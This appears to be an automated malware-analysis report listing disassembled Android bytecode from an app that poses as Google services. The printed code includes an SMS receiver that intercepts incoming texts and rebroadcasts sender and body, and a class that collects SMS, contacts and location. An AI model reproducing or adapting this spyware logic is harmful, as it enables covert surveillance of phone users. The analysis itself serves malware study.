186iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
187cond_f6:
188const-string v1, "contact"
190invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: contact
191move-result v1
192if-eqz v1, :cond_119
193new-instance v1, Ljava/lang/StringBuilder;
195invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
197iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
199invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
200move-result-object v1
202const-string v2, ";"
204invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
205move-result-object v1
207invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
208move-result-object v1
210invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
211move-result-object v1
212iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
213cond_119:
214const-string v1, "location"
216invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: location
217move-result v1
218if-eqz v1, :cond_13c
219new-instance v1, Ljava/lang/StringBuilder;
221invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
223iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
225invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
226move-result-object v1
228const-string v2, ";"
230invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
231move-result-object v1
233invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
234move-result-object v1
236invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
237move-result-object v1
238iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
239cond_13c:
240const-string v1, "other"
242invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: other
243move-result v1
244if-eqz v1, :cond_38
245new-instance v1, Ljava/lang/StringBuilder;
247invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
249iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
251invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
252move-result-object v1
254const-string v2, ";"
256invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
257move-result-object v1
259invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
260move-result-object v1
262invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
263move-result-object v1
264iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
265try_end_15f: goto/16 :goto_38
266cond_161:
267const-string v1, "sendInfo"
269const-string v2, "\u7f51\u7edc\u4e0d\u901a nullurl"
271invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a nullurl
273const-string v1, "sms"
275invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: sms
276move-result v1
277if-eqz v1, :cond_18b
278new-instance v1, Ljava/lang/StringBuilder;
280invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
282iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
284invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
285move-result-object v1
287const-string v2, ";"
289invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
290move-result-object v1
292invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
293move-result-object v1
295invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
296move-result-object v1
297iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
298cond_18b:
299const-string v1, "contact"
301invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: contact
302move-result v1
303if-eqz v1, :cond_1ae
304new-instance v1, Ljava/lang/StringBuilder;
306invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
308iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
310invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
311move-result-object v1
313const-string v2, ";"
315invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
316move-result-object v1
318invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
319move-result-object v1
321invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
322move-result-object v1
323iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
324cond_1ae:
325const-string v1, "location"
327invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: location
328move-result v1
329if-eqz v1, :cond_1d1
330new-instance v1, Ljava/lang/StringBuilder;
332invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
334iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
336invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
337move-result-object v1
339const-string v2, ";"
341invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
342move-result-object v1
344invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
345move-result-object v1
347invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
348move-result-object v1
349iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
350cond_1d1:
351const-string v1, "other"
353invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: other
354move-result v1
355if-eqz v1, :cond_38
356new-instance v1, Ljava/lang/StringBuilder;
358invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
360iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
362invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
363move-result-object v1
365const-string v2, ";"
367invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
368move-result-object v1
370invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
371move-result-object v1
373invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
374move-result-object v1
375iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
376goto/16 :goto_38
APIs
  • java.lang.Math.atan2
  • java.lang.Math.cos
  • java.lang.Math.sin
  • android.graphics.Path.reset
  • android.graphics.Path.moveTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.close
  • android.graphics.Canvas.save
  • android.graphics.Canvas.clipPath
  • java.lang.Math.atan2
  • java.lang.Math.toDegrees
  • android.graphics.Canvas.rotate
  • android.graphics.drawable.GradientDrawable.setBounds
  • android.graphics.drawable.GradientDrawable.draw
  • android.graphics.Canvas.restore
  • android.graphics.Path.reset
  • android.graphics.Path.moveTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.close
  • android.graphics.Canvas.save
  • android.graphics.Canvas.clipPath
  • java.lang.Math.atan2
  • java.lang.Math.toDegrees
  • android.graphics.Canvas.rotate
  • java.lang.Math.hypot
  • android.graphics.drawable.GradientDrawable.setBounds
  • android.graphics.drawable.GradientDrawable.draw
  • android.graphics.Canvas.restore
  • java.lang.Math.atan2
  • android.graphics.drawable.GradientDrawable.setBounds
Position Instruction Meta Information
0.parameter
1.prologue
2const-wide v6, 0x4041accccccccccdL
3const-wide v4, 0x3fe921fb54442d18L
4const/high16 v9, 0x41c8
5iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
6if-eqz v0, :cond_19b
8iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
9iget v0, v0, Landroid/graphics/PointF;->y:F
11iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
12iget v1, v1, Landroid/graphics/PointF;->y:F
13sub-float/2addr v0, v1
14float-to-double v0, v0
16iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
17iget v2, v2, Landroid/graphics/PointF;->x:F
19iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
20iget v3, v3, Landroid/graphics/PointF;->x:F
21sub-float/2addr v2, v3
22float-to-double v2, v2
24invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D
25move-result-wide v0
26sub-double v0, v4, v0
27goto_2a:
28invoke-static {v0, v1}, Ljava/lang/Math;->cos(D)D
29move-result-wide v2
30mul-double/2addr v2, v6
32invoke-static {v0, v1}, Ljava/lang/Math;->sin(D)D
33move-result-wide v0
34mul-double/2addr v0, v6
36iget-object v4, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
37iget v4, v4, Landroid/graphics/PointF;->x:F
38float-to-double v4, v4
39add-double/2addr v2, v4
40double-to-float v4, v2
41iget-boolean v2, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
42if-eqz v2, :cond_1b7
44iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
45iget v2, v2, Landroid/graphics/PointF;->y:F
46float-to-double v2, v2
47add-double/2addr v0, v2
48double-to-float v0, v0
49goto_46:
50iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
52invoke-virtual {v1}, Landroid/graphics/Path;->reset()V
54iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
56invoke-virtual {v1, v4, v0}, Landroid/graphics/Path;->moveTo(FF)V
58iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
60iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
61iget v2, v2, Landroid/graphics/PointF;->x:F
63iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
64iget v3, v3, Landroid/graphics/PointF;->y:F
66invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
68iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
70iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
71iget v2, v2, Landroid/graphics/PointF;->x:F
73iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
74iget v3, v3, Landroid/graphics/PointF;->y:F
76invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
78iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
80iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
81iget v2, v2, Landroid/graphics/PointF;->x:F
83iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
84iget v3, v3, Landroid/graphics/PointF;->y:F
86invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
88iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
90invoke-virtual {v1}, Landroid/graphics/Path;->close()V
92invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I
94iget-object v1, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
96sget-object v2, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op;
98invoke-virtual {p1, v1, v2}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
100iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
102sget-object v2, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op;
104invoke-virtual {p1, v1, v2}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
105iget-boolean v1, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
106if-eqz v1, :cond_1c1
108iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
109iget v1, v1, Landroid/graphics/PointF;->x:F
110float-to-int v3, v1
112iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
113iget v1, v1, Landroid/graphics/PointF;->x:F
114float-to-int v1, v1
115add-int/lit8 v2, v1, 0x19
117iget-object v1, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable;
118goto_9f:
119iget-object v5, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
120iget v5, v5, Landroid/graphics/PointF;->x:F
122iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
123iget v6, v6, Landroid/graphics/PointF;->x:F
124sub-float/2addr v5, v6
125float-to-double v5, v5
127iget-object v7, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
128iget v7, v7, Landroid/graphics/PointF;->y:F
130iget-object v8, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
131iget v8, v8, Landroid/graphics/PointF;->y:F
132sub-float/2addr v7, v8
133float-to-double v7, v7
135invoke-static {v5, v6, v7, v8}, Ljava/lang/Math;->atan2(DD)D
136move-result-wide v5
138invoke-static {v5, v6}, Ljava/lang/Math;->toDegrees(D)D
139move-result-wide v5
140double-to-float v5, v5
142iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
143iget v6, v6, Landroid/graphics/PointF;->x:F
145iget-object v7, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
146iget v7, v7, Landroid/graphics/PointF;->y:F
148invoke-virtual {p1, v5, v6, v7}, Landroid/graphics/Canvas;->rotate(FFF)V
150iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
151iget v5, v5, Landroid/graphics/PointF;->y:F
152iget v6, p0, Lcom/google/services/PageWidget;->mMaxLength:F
153sub-float/2addr v5, v6
154float-to-int v5, v5
156iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
157iget v6, v6, Landroid/graphics/PointF;->y:F
158float-to-int v6, v6
160invoke-virtual {v1, v3, v5, v2, v6}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V
162invoke-virtual {v1, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V
164invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
166iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
168invoke-virtual {v1}, Landroid/graphics/Path;->reset()V
170iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
172invoke-virtual {v1, v4, v0}, Landroid/graphics/Path;->moveTo(FF)V
174iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
176iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
177iget v1, v1, Landroid/graphics/PointF;->x:F
179iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
180iget v2, v2, Landroid/graphics/PointF;->y:F
182invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
184iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
186iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
187iget v1, v1, Landroid/graphics/PointF;->x:F
189iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
190iget v2, v2, Landroid/graphics/PointF;->y:F
192invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
194iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
196iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
197iget v1, v1, Landroid/graphics/PointF;->x:F
199iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
200iget v2, v2, Landroid/graphics/PointF;->y:F
202invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
204iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
206invoke-virtual {v0}, Landroid/graphics/Path;->close()V
208invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I
210iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
212sget-object v1, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op;
214invoke-virtual {p1, v0, v1}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
216iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
218sget-object v1, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op;
220invoke-virtual {p1, v0, v1}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
221iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
222if-eqz v0, :cond_1d2
224iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
225iget v0, v0, Landroid/graphics/PointF;->y:F
226float-to-int v2, v0
228iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
229iget v0, v0, Landroid/graphics/PointF;->y:F
230add-float/2addr v0, v9
231float-to-int v1, v0
233iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable;
234goto_135:
235iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
236iget v3, v3, Landroid/graphics/PointF;->y:F
238iget-object v4, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
239iget v4, v4, Landroid/graphics/PointF;->y:F
240sub-float/2addr v3, v4
241float-to-double v3, v3
243iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
244iget v5, v5, Landroid/graphics/PointF;->x:F
246iget-object v6, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
247iget v6, v6, Landroid/graphics/PointF;->x:F
248sub-float/2addr v5, v6
249float-to-double v5, v5
251invoke-static {v3, v4, v5, v6}, Ljava/lang/Math;->atan2(DD)D
252move-result-wide v3
254invoke-static {v3, v4}, Ljava/lang/Math;->toDegrees(D)D
255move-result-wide v3
256double-to-float v3, v3
258iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
259iget v4, v4, Landroid/graphics/PointF;->x:F
261iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
262iget v5, v5, Landroid/graphics/PointF;->y:F
264invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V
266iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
267iget v3, v3, Landroid/graphics/PointF;->y:F
268const/4 v4, 0x0
269cmpg-float v3, v3, v4
270if-gez v3, :cond_1e4
272iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
273iget v3, v3, Landroid/graphics/PointF;->y:F
274iget v4, p0, Lcom/google/services/PageWidget;->mHeight:I
275int-to-float v4, v4
276sub-float/2addr v3, v4
277goto_16e:
278iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
279iget v4, v4, Landroid/graphics/PointF;->x:F
280float-to-double v4, v4
281float-to-double v6, v3
283invoke-static {v4, v5, v6, v7}, Ljava/lang/Math;->hypot(DD)D
284move-result-wide v3
285double-to-int v3, v3
286int-to-float v4, v3
287iget v5, p0, Lcom/google/services/PageWidget;->mMaxLength:F
288cmpl-float v4, v4, v5
289if-lez v4, :cond_1e9
291iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
292iget v4, v4, Landroid/graphics/PointF;->x:F
293sub-float/2addr v4, v9
294float-to-int v4, v4
295sub-int/2addr v4, v3
297iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
298iget v5, v5, Landroid/graphics/PointF;->x:F
299iget v6, p0, Lcom/google/services/PageWidget;->mMaxLength:F
300add-float/2addr v5, v6
301float-to-int v5, v5
302sub-int v3, v5, v3
304invoke-virtual {v0, v4, v2, v3, v1}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V
305goto_194:
306invoke-virtual {v0, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V
308invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
309return-void
310cond_19b:
311iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
312iget v0, v0, Landroid/graphics/PointF;->y:F
314iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
315iget v1, v1, Landroid/graphics/PointF;->y:F
316sub-float/2addr v0, v1
317float-to-double v0, v0
319iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
320iget v2, v2, Landroid/graphics/PointF;->x:F
322iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
323iget v3, v3, Landroid/graphics/PointF;->x:F
324sub-float/2addr v2, v3
325float-to-double v2, v2
327invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D
328move-result-wide v0
329sub-double v0, v4, v0
330goto/16 :goto_2a
331cond_1b7:
332iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
333iget v2, v2, Landroid/graphics/PointF;->y:F
334float-to-double v2, v2
335sub-double v0, v2, v0
336double-to-float v0, v0
337goto/16 :goto_46
338cond_1c1:
339iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
340iget v1, v1, Landroid/graphics/PointF;->x:F
341sub-float/2addr v1, v9
342float-to-int v3, v1
344iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
345iget v1, v1, Landroid/graphics/PointF;->x:F
346float-to-int v1, v1
347add-int/lit8 v2, v1, 0x1
349iget-object v1, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable;
350goto/16 :goto_9f
351cond_1d2:
352iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
353iget v0, v0, Landroid/graphics/PointF;->y:F
354sub-float/2addr v0, v9
355float-to-int v2, v0
357iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
358iget v0, v0, Landroid/graphics/PointF;->y:F
359const/high16 v1, 0x3f80
360add-float/2addr v0, v1
361float-to-int v1, v0
363iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable;
364goto/16 :goto_135
365cond_1e4:
366iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
367iget v3, v3, Landroid/graphics/PointF;->y:F
368goto/16 :goto_16e
369cond_1e9:
370iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
371iget v3, v3, Landroid/graphics/PointF;->x:F
372iget v4, p0, Lcom/google/services/PageWidget;->mMaxLength:F
373sub-float/2addr v3, v4
374float-to-int v3, v3
376iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
377iget v4, v4, Landroid/graphics/PointF;->x:F
378float-to-int v4, v4
380invoke-virtual {v0, v3, v2, v4, v1}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V
  • Data flow analysis:
    • bottom: 16256
381goto/16 :goto_194
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getExtras
  • android.os.Bundle.get
  • android.telephony.SmsMessage.createFromPdu
  • java.lang.StringBuilder.<init>
  • android.telephony.SmsMessage.getOriginatingAddress
  • java.lang.StringBuilder.append
  • android.telephony.SmsMessage.getMessageBody
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.os.Bundle.<init>
  • android.os.Bundle.putString
  • android.content.Intent.putExtras
  • android.content.Context.sendBroadcast
Strings
  • android.provider.Telephony.SMS_RECEIVED
  • pdus
  • :
  • com.google.system.receiver
  • sms
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v3, 0x0
4const/4 v4, 0x0
6invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
7move-result-object v0
9const-string v1, "android.provider.Telephony.SMS_RECEIVED"
11invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.provider.Telephony.SMS_RECEIVED
12move-result v0
13if-eqz v0, :cond_79
15invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
16move-result-object v0
17if-eqz v0, :cond_79
19const-string v1, "pdus"
21invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: pdus
22move-result-object v0
23check-cast v0, [Ljava/lang/Object;
24check-cast v0, [Ljava/lang/Object;
25array-length v1, v0
26new-array v5, v1, [Landroid/telephony/SmsMessage;
27move v2, v3
28goto_22: array-length v1, v0
29if-ge v2, v1, :cond_35
30aget-object v1, v0, v2
31check-cast v1, [B
32check-cast v1, [B
34invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
35move-result-object v1
36aput-object v1, v5, v2
37add-int/lit8 v1, v2, 0x1
38move v2, v1
39goto/16 :goto_22
40cond_35: move-object v0, v4
41goto_36: array-length v1, v5
42if-ge v3, v1, :cond_5f
43new-instance v0, Ljava/lang/StringBuilder;
45invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
46aget-object v1, v5, v3
48invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
49move-result-object v1
51invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
52move-result-object v0
54const-string v1, " : "
56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: :
57move-result-object v0
58aget-object v1, v5, v3
60invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
61move-result-object v1
63invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
64move-result-object v0
66invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
67move-result-object v0
68add-int/lit8 v3, v3, 0x1
69goto/16 :goto_36
70cond_5f: new-instance v1, Landroid/content/Intent;
72invoke-direct {v1}, Landroid/content/Intent;-><init>()V
74const-string v2, "com.google.system.receiver"
76invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.google.system.receiver
77new-instance v2, Landroid/os/Bundle;
79invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
81const-string v3, "sms"
83invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sms
85invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
87invoke-virtual {p1, v1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
88cond_79: return-void
APIs
  • java.util.Vector.<init>
  • java.util.Vector.size
  • java.util.Vector.<init>
  • java.lang.String.<init>
  • java.lang.String.replaceAll
